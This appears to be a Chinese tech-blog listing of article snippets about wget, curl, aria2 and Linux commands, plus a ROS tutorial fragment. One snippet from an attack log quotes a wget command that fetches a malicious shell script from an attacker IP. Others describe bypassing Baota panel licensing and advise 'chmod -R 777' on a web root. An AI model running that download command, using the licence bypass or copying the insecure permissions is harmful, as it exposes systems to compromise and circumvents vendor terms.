ROS机器人从起点到终点(四)蓝桥云实践复现
可否在蓝桥ROS中复现呢?试一试吧:
首先需要下载已经打包的案例:
📷
需要修改源码使用wget下载到code文件夹:
📷
使用其中的turtlesim包:
📷
需要修改CMakelist和添加move.cpp
1☞move
#include "ros/ros.h"
#include "turtlesim/Pose.h"
#include "geometry_msgs/Twist.h"
#include "math.h"
#include <sstream>
ros::Subscriber sub
Linux-文件操作
user:该文件的拥有者对文件的操作权限
group:跟拥有者同组的其他用户对该文件的操作权限
other:其他用户对该文件的操作权限
宝塔面板降级 v7.7.0 及解除强制绑定手机、免费安装专业版插件的方法
宝塔面板更新后原来的“跳过强制手机号登陆绑定账户”方法已经失效因为新版本宝塔面板已经开始验证 userInfo.json,而且目前没有任何的方法可以跳过强制手机号登陆绑定账户的解决方法,宝塔面板强制登陆问题,因为登陆信息与软件列表绑定。目前无法直接破解、删除、绕过登陆。只能通过降级到宝塔面板 7.7.0 来解决这个问题。
Linux最常用的几个命令
1、top命令 可以实时查看系统状态
top #可以查看内存,cpu运行状态之类
2、wget命令 下载网络文件,例如:
wget http://cachefly.cachefly.net/100mb.test #后面改成需要的下载链接地址
3、chmod命令 #后就是这个命令的说明
chmod +x /home/auto.sh # 赋予auto.sh可执行权限
chmod -R 777 /home/wwwroot # 赋予/home/wwwroot写入权限(部分网站程序安装时需要用到)
4、mv命令 移动
Linux最常用的几个命令
1、top命令 可以实时查看系统状态
top #可以查看内存,cpu运行状态之类
2、wget命令 下载网络文件,例如:
wget http://cachefly.cachefly.net/100mb.test #后面改成需要的下载链接地址
3、chmod命令 #后就是这个命令的说明
chmod +x /home/auto.sh # 赋予auto.sh可执行权限
chmod -R 777 /home/wwwroot # 赋予/home/wwwroot写入权限(部分网站程序安装时需要用到)
4、mv命令 移动
记一次被网络攻击记录(2024年2月17日)
2. wget http://45.142.214.108/nigga.sh:从指定URL下载名为 nigga.sh 的文件。
网站镜像命令-Linux website mirror command
命令备忘:
1. wget
wget -m -e robots=off -k -E "https://cgra-me.ece.utoronto.ca/docs/"
-m 镜像,整站抓取
-e robots=off 忽略robots协议,强制抓取
-k 将绝对URL链接转换为本地相对URL
-E 将所有text/html文档以.html扩展名保存
2. HTTrack
保持更新;
强烈推荐的一个下载工具aria2 是什么?aria2 能做什么?比 wget 和 curl 好用多少?
aria2 是一款轻量且高效命令行下载工具,它提供了对多协议和多源地址的支持,并尝试将下载带宽利用率最大化,目前支持的协议包括HTTP(S)、FTP、BitTorrent(DHT, PEX, MSE/PE) 和 Metalink。通过 Metalink 的分块检查,aria2 可以在下载过程中自动的进行数据校验。
一款比 Curl、Wget 更轻量更强大的命令行下载工具!支持多协议和多源地址
aria2 是一款轻量且高效命令行下载工具,它提供了对多协议和多源地址的支持,并尝试将下载带宽利用率最大化,目前支持的协议包括HTTP(S)、FTP、BitTorrent(DHT, PEX, MSE/PE) 和 Metalink。通过 Metalink 的分块检查,aria2 可以在下载过程中自动的进行数据校验。
curl和wget的真正区别!
说到curl和wget,大家的第一反应就是用来下载文件。是的,没有问题,那么除了下载功能,二者还有什么区别吗?或者说就没有区别了?今天就来简单讨论一下。
在 Wget 中使用 Command Line Arguments如何设置代理
在使用 Wget 这个命令行工具进行文件下载时,有时我们需要通过代理服务器来进行网络连接。Wget 提供了一些命令行参数,可以让我们设置代理服务器的信息。下面是如何在 Wget 中使用 Command Line Arguments 设置代理的步骤。
解决wget下载https时报错 --no-check-certificate (不检查证书)
如果使用 wget下载https开头的网址域名 时报错,你需要加上 --no-check-certificate (不检查证书)选项。
linux curl wget 测速
CURL测速
curl -o /dev/null -w "\n DNS 解析域名的时间\n namelookup:"%{time_namelookup}"\n client和server端建立TCP 连接的时间\n time_connect:"%{time_connect}"\n 从client发出请求;到web的server 响应第一个字节的时间\n time_starttransfer:"%{time_starttransfer}"\n client发出请求;到web的server发送会所有的相应数据的
linux curl wget ab测速
CURL测速
curl -o /dev/null -w "\n DNS 解析域名的时间\n namelookup:"%{time_namelookup}"\n client和server端建立TCP 连接的时间\n time_connect:"%{time_connect}"\n 从client发出请求;到web的server 响应第一个字节的时间\n time_starttransfer:"%{time_starttransfer}"\n client发出请求;到web的server发送会所有的相应数据的
解决wget命令中的"Could not resolve host"错误
在使用Linux系统时,你可能会遇到wget命令中出现"Could not resolve host"错误的情况。这种错误通常表示系统无法解析主机名或域名,导致无法下载所需文件。本文将引用并参考howtouselinux.com上的文章,详细介绍如何解决这个问题,并提供实用的解决方法和示例。
curl和wget的真正区别!
说到curl和wget,大家的第一反应就是用来下载文件。是的,没有问题,那么除了下载功能,二者还有什么区别吗?或者说就没有区别了?今天就来简单讨论一下。